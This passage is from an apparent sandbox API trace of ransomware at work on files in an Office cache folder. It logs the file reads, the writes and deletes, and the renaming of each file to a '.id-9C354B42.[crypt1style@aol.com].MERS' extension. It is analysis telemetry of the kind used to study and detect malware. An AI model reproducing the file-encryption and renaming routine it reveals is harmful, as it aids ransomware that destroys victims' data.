89 [0046.620] lstrlenW (lpString=".dbf") returned 4 [0046.620] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString=".1cd") returned 4 [0046.620] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString=".jpg") returned 4 [0046.620] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.621] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0046.621] lstrlenW (lpString="PidGenX.dll") returned 11 [0046.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0046.621] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1463568) returned 1 [0046.621] CloseHandle (hObject=0x1f0) returned 1 [0046.621] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0046.621] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0046.621] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.621] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.622] GetLastError () returned 0x0 [0046.622] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.740] WriteFile (in: hFile=0x180, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.762] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x65520, lpOverlapped=0x0) returned 1 [0047.102] WriteFile (in: hFile=0x180, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0047.115] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.115] WriteFile (in: hFile=0x180, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.115] SetEndOfFile (hFile=0x180) returned 1 [0047.115] CloseHandle (hObject=0x180) returned 1 [0047.115] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.115] SetEndOfFile (hFile=0x1f0) returned 1 [0047.120] CloseHandle (hObject=0x1f0) returned 1 [0047.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.121] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0047.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.121] lstrlenW (lpString=".doc") returned 4 [0047.121] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString=".docx") returned 5 [0047.121] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0047.121] lstrlenW (lpString=".pdf") returned 4 [0047.121] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString=".xls") returned 4 [0047.121] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString=".xlsx") returned 5 [0047.121] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0047.121] lstrlenW (lpString=".ppt") returned 4 [0047.121] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.121] lstrlenW (lpString=".zip") returned 4 [0047.121] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString=".rar") returned 4 [0047.121] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.121] lstrlenW (lpString=".bz2") returned 4 [0047.121] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.121] lstrlenW (lpString=".7z") returned 3 [0047.121] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.121] lstrlenW (lpString=".dbf") returned 4 [0047.121] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".1cd") returned 4 [0047.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".jpg") returned 4 [0047.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".doc") returned 4 [0047.122] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString=".docx") returned 5 [0047.122] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0047.122] lstrlenW (lpString=".pdf") returned 4 [0047.122] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString=".xls") returned 4 [0047.122] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString=".xlsx") returned 5 [0047.122] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0047.122] lstrlenW (lpString=".ppt") returned 4 [0047.122] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".zip") returned 4 [0047.122] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString=".rar") returned 4 [0047.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.122] lstrlenW (lpString=".bz2") returned 4 [0047.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.122] lstrlenW (lpString=".7z") returned 3 [0047.122] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".dbf") returned 4 [0047.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.122] lstrlenW (lpString=".1cd") returned 4 [0047.123] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.123] lstrlenW (lpString=".jpg") returned 4 [0047.123] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.123] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0047.123] lstrlenW (lpString="ProPrWW.cab") returned 11 [0047.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.139] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=177720283) returned 1 [0047.139] CloseHandle (hObject=0x180) returned 1 [0047.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0047.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.139] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.139] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.139] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.139] ReadFile (in: hFile=0x180, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.193] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.193] ReadFile (in: hFile=0x180, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.251] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.251] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.251] ReadFile (in: hFile=0x180, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.298] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.298] WriteFile (in: hFile=0x180, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.324] SetEndOfFile (hFile=0x180) returned 1 [0047.324] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0047.439] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.439] WriteFile (in: hFile=0x180, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.535] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.535] WriteFile (in: hFile=0x180, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.536] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.536] WriteFile (in: hFile=0x180, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.538] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0047.542] CloseHandle (hObject=0x180) returned 1 [0047.542] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.542] lstrlenW (lpString=".doc") returned 4 [0047.542] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.542] lstrlenW (lpString=".docx") returned 5 [0047.542] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.542] lstrlenW (lpString=".pdf") returned 4 [0047.542] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.542] lstrlenW (lpString=".xls") returned 4 [0047.542] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.542] lstrlenW (lpString=".xlsx") returned 5 [0047.542] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.542] lstrlenW (lpString=".ppt") returned 4 [0047.543] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".zip") returned 4 [0047.543] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".rar") returned 4 [0047.543] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".bz2") returned 4 [0047.543] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.543] lstrlenW (lpString=".7z") returned 3 [0047.543] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".dbf") returned 4 [0047.543] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".1cd") returned 4 [0047.543] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".jpg") returned 4 [0047.543] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".doc") returned 4 [0047.543] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".docx") returned 5 [0047.543] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.543] lstrlenW (lpString=".pdf") returned 4 [0047.543] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".xls") returned 4 [0047.543] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".xlsx") returned 5 [0047.543] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.543] lstrlenW (lpString=".ppt") returned 4 [0047.543] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.543] lstrlenW (lpString=".zip") returned 4 [0047.543] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.543] lstrlenW (lpString=".rar") returned 4 [0047.544] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.544] lstrlenW (lpString=".bz2") returned 4 [0047.544] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.544] lstrlenW (lpString=".7z") returned 3 [0047.544] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.544] lstrlenW (lpString=".dbf") returned 4 [0047.544] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.544] lstrlenW (lpString=".1cd") returned 4 [0047.544] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.544] lstrlenW (lpString=".jpg") returned 4 [0047.544] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.544] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0047.544] lstrlenW (lpString="ose.exe") returned 7 [0047.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.544] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=174440) returned 1 [0047.544] CloseHandle (hObject=0x180) returned 1 [0047.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0047.545] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.545] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.545] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.545] GetLastError () returned 0x0 [0047.545] ReadFile (in: hFile=0x180, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0047.569] WriteFile (in: hFile=0x218, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0047.572] ReadFile (in: hFile=0x180, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.572] WriteFile (in: hFile=0x218, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0047.572] SetEndOfFile (hFile=0x218) returned 1 [0047.572] CloseHandle (hObject=0x218) returned 1 [0047.573] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.573] SetEndOfFile (hFile=0x180) returned 1 [0047.575] CloseHandle (hObject=0x180) returned 1 [0047.576] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.576] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0047.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.576] lstrlenW (lpString=".doc") returned 4 [0047.576] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.576] lstrlenW (lpString=".docx") returned 5 [0047.576] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.576] lstrlenW (lpString=".pdf") returned 4 [0047.576] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.576] lstrlenW (lpString=".xls") returned 4 [0047.576] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.576] lstrlenW (lpString=".xlsx") returned 5 [0047.576] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.576] lstrlenW (lpString=".ppt") returned 4 [0047.576] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.576] lstrlenW (lpString=".zip") returned 4 [0047.577] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.577] lstrlenW (lpString=".rar") 